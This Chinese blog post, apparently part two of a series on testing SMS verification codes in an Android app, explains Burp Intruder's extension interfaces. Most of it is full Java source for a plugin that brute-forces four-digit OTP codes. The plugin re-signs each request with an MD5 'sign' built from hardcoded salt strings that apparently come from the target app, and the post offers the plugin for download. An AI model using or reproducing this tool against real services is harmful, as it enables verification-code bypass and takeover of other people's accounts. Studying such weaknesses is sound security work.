apk短信验证码安全测试二

上一篇得到发送验证码请求的sign签名算法后,这篇主要介绍4位纯数字验证码burp插件的编写。介绍验证码插件之前,我们先介绍一下验证码插件会用到的三个burp接口IIntruderPayloadGeneratorFactory、IIntruderPayloadGenerator、IIntruderPayloadProcessor,再介绍验证码插件编写及使用。
一、burp接口介绍

  1. IIntruderPayloadGeneratorFactory
    在插件中implements此接口,并且在registerExtenderCallbacks方法中注册它后,即实现了一个IntruderPayloadGenerator工厂。我们可以重写该接口的createNewInstance的方法来调用我们自定义的Payload生成器(比如本篇文章的4位纯数字验证码生成器),如下所示
    apk短信验证码安全测试二
    文章图片
    图片 apk短信验证码安全测试二
    文章图片
    图片
  2. IIntruderPayloadGenerator
    此接口用于实现我们自定义的生成器,implements该接口后,可以使用该接口提供的3个方法,返回我们生成的payload,如下所示
    apk短信验证码安全测试二
    文章图片
    图片
  3. IIntruderPayloadProcessor
    在插件中implements此接口,并且在registerExtenderCallbacks方法中注册它后,即我们实现了一个payload处理器。我们可以重写该接口中的processPayload方法,来实现对payload的处理,再返回处理后的结果(比如本篇文章将payload中的验证码替换为新的验证码,再重新计算sign后替换之前的sign),如下所示
    apk短信验证码安全测试二
    文章图片
    图片 processPayload方法包含三个byte[]类型的参数currentPayload、originalPayload、baseValue。
    currentPayload 即我们传进来的生成的payload,本篇文章即我们在payload生成器中生成的4位纯数字验证码。
    originalPayload表示在应用了任何Processor处理器之前的最原始的payload值 测试发现与currentPayload是一样的
    baseValue 我们在burp Positions中选定的值,如下面所示
    apk短信验证码安全测试二
    文章图片
    图片
二、验证码插件实现与使用
  1. 4位纯数字验证码payload生成
//自定义payload生成器 class IntruderPayloadGenerator implements IIntruderPayloadGenerator{private int payloadIndex = 0; //用于payloads验证码计数 private String[] payloads = null; //存放生成验证码字符串的String数组public IntruderPayloadGenerator() { // TODO Auto-generated constructor stub //在构造函数中调用generateVerifyCodeArray() //函数生成4位纯数字验证码String数组 //将结果复制给payloads成员变量 this.payloads = generateVerifyCodeArray(); }//生成4位纯数字验证码方法 private String[] generateVerifyCodeArray() { String[] verifyCodeStrings = new String[10000]; try { for(int i = 0; i < 10000; i++) { if(i < 10) { verifyCodeStrings[i] = String.format("000%d", i); } else if(i >= 10 && i < 100) { verifyCodeStrings[i] = String.format("00%d", i); } else if(i >= 100 && i < 1000) { verifyCodeStrings[i] = String.format("0%d", i); } else { verifyCodeStrings[i] = String.valueOf(i); } } }catch(Exception e) { e.printStackTrace(); } return verifyCodeStrings; }//在getNextPayload方法里面依次返回生成的4位纯数字验证码 @Override public byte[] getNextPayload(byte[] baseValue) { // TODO Auto-generated method stub byte[] payload = null; try { payload = this.payloads[payloadIndex].getBytes("UTF-8"); payloadIndex++; }catch(Exception e) { e.printStackTrace(); } return payload; }//在hasMorePayloads方法中设置当计数器计数小于我们的payloads数组 //长度时 则一直为true 表示还有payload可以返回 @Override public boolean hasMorePayloads() { // TODO Auto-generated method stub return payloadIndex < this.payloads.length; }//在reset方法中设置当重置时 则计数归0 @Override public void reset() { // TODO Auto-generated method stub payloadIndex = 0; } }

  1. 根据新的验证码参数及burp中的请求数据生成相对应的sign签名并返回新的请求数据
//在Utils类中定义我们计算sign及构造新的请求包体(body)的方法 public class Utils { //public static方法及提供给其他类调用的方法getNewRequestData //参数有两个verifyCode、requestData //verifyCode即每次传进来的新生成的4位纯数字验证码 //requestData即前一次的旧的请求包体(body) //需要上面两个参数 是因为我们需要提取requestData中的 //其他字段构造list再加上新生成的verifyCode来计算sign签名校验值 public static String getNewRequestData(String verifyCode,String requestData) { String result = ""; try { JSONObject jsonObject = new JSONObject(requestData); List requestList = new ArrayList(); requestList.add("appId=" + jsonObject.getString("appId")); requestList.add("osType=" + jsonObject.getString("osType")); requestList.add("product=" + jsonObject.getString("product")); requestList.add("sysVer=" + jsonObject.getString("sysVer")); requestList.add("time=" + jsonObject.getString("time")); requestList.add("token=" + jsonObject.getString("token")); requestList.add("udid=" + jsonObject.getString("udid")); requestList.add("ver=" + jsonObject.getString("ver")); requestList.add("phoneModel=" + jsonObject.getString("phoneModel")); requestList.add("marketChannel=" + jsonObject.getString("marketChannel")); requestList.add("packageName=" + jsonObject.getString("packageName")); requestList.add("lang-app=" + jsonObject.getString("lang-app")); requestList.add("lang=" + jsonObject.getString("lang")); requestList.add("locale=" + jsonObject.getString("locale")); requestList.add("appsflyer-id=" + jsonObject.getString("appsflyer-id")); requestList.add("idfa=" + jsonObject.getString("idfa")); requestList.add("shumei_device_id=" + jsonObject.getString("shumei_device_id")); requestList.add("mobile=" + jsonObject.getString("mobile")); requestList.add("code=" + verifyCode); //上面构造请求参数list //构造完以后调用我们之前分析的getSortedParams函数 //将list转成String result = getSortedParams(requestList); System.out.println("request result is: " + result); //将新生成的验证码添加到新的请求包体(body)中 jsonObject.put("code", verifyCode); //调用getMD5方法计算sign值 //参数为上面list转成String的值 //计算完以后添加到新的包体中 jsonObject.put("sign", getMD5(result)); result = jsonObject.toString(); }catch(Exception e) { e.printStackTrace(); } //最后返回新的请求包体(body) return result; }//getSortedParams list转成String的方法 private static String getSortedParams(List list) { String result = ""; try { StringBuilder stringBuilder = new StringBuilder(); stringBuilder.append("Fb0gqLMSf5Android"); Collections.sort(list); int i = 0; while(i < list.size()) { if(i == 0) { stringBuilder.append(list.get(i)); } else { if(list.get(i).contains("lang-app=")) { int i2 = i + 1; if(list.get(i2) != null && list.get(i2).contains("lang=")) { stringBuilder.append("&"); stringBuilder.append(list.get(i2)); stringBuilder.append("&"); stringBuilder.append(list.get(i)); i = i2; } } else { stringBuilder.append("&"); stringBuilder.append(list.get(i)); }} i++; } stringBuilder.append("AEdDtho2CjiH901aVK7swFqclu6NmzJ4"); result = stringBuilder.toString(); }catch(Exception e) { e.printStackTrace(); } return result; }//计算MD5的方法 private static String getMD5(String plainText) { char hexDigits[] = {'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'}; String result = ""; try { byte[] plainBytes = plainText.getBytes("UTF-8"); MessageDigest messageDigest = MessageDigest.getInstance("md5"); messageDigest.update(plainBytes); byte[] encryptBytes = messageDigest.digest(); int encryptBytesLen = encryptBytes.length; char[] resultBytes = new char[encryptBytesLen * 2]; int k = 0; for(int i = 0; i < encryptBytesLen; i++) { byte tempBytes = encryptBytes[i]; resultBytes[k++] = hexDigits[tempBytes >>> 4 & 0xf]; resultBytes[k++] = hexDigits[tempBytes & 0xf]; } result = (new String(resultBytes)).toUpperCase(); }catch (Exception e) { // TODO: handle exception e.printStackTrace(); } return result; }public static void main(String[] args) { String plainText = ""; String result = getMD5(plainText); System.out.println(result); } }

  1. 在payload处理器processPayload方法中调用Utils类中的getNewRequestData方法
//processPayload方法是我们上面介绍的处理传进来的自定义生成器 //生成的payload、以及我们在burp中选定的数据最后将处理结果 //返回到burp中作为新的请求数据(body) //在这里currentPayload就是我们的生成的4位纯数字验证码 //baseValue就是我们选定的整个请求包体(body)的数据 //传进来以后我们调用Utils.getNewRequestData计算 //新的请求包体(body)返回值返回给newRequestData //最后将newRequestData转成byte[]返回 public byte[] processPayload(byte[] currentPayload, byte[] originalPayload, byte[] baseValue) { byte[] result = null; // TODO Auto-generated method stub try { //打印测试数据 String logString = String.format("currentPayload is : %s and " + "originalPayload is: %s and baseValue is: %s", new String(currentPayload), new String(originalPayload),new String(baseValue)); stdout.println(logString); //调用getNewRequestData方法 String newRequestData = https://www.it610.com/article/Utils.getNewRequestData(new String(currentPayload),new String(baseValue)); result = helpers.stringToBytes(newRequestData); }catch(Exception e) { e.printStackTrace(); } return result; }

  1. intruder中设置插件
    首先在Extender中将插件加载进来,如下所示
    apk短信验证码安全测试二
    文章图片
    图片 在Intruder中设置
    apk短信验证码安全测试二
    文章图片
    图片 apk短信验证码安全测试二
    文章图片
    图片 apk短信验证码安全测试二
    文章图片
    图片 apk短信验证码安全测试二
    文章图片
    图片 apk短信验证码安全测试二
    文章图片
    图片 apk短信验证码安全测试二
    文章图片
    图片 apk短信验证码安全测试二
    文章图片
    图片
  2. 测试插件功能
    apk短信验证码安全测试二
    文章图片
    图片 apk短信验证码安全测试二
    文章图片
    图片 apk短信验证码安全测试二
    文章图片
    图片
【apk短信验证码安全测试二】综上所述,该篇文章主要介绍了burp intruder模块插件编写。安全测试时在处理请求中带有sign请求校验的,可以尝试使用插件。如果需要本篇文章中测试的burp插件代码,可以在公众号回复"VerifyCode BurpExnteder",通过百度云链接下载。

    推荐阅读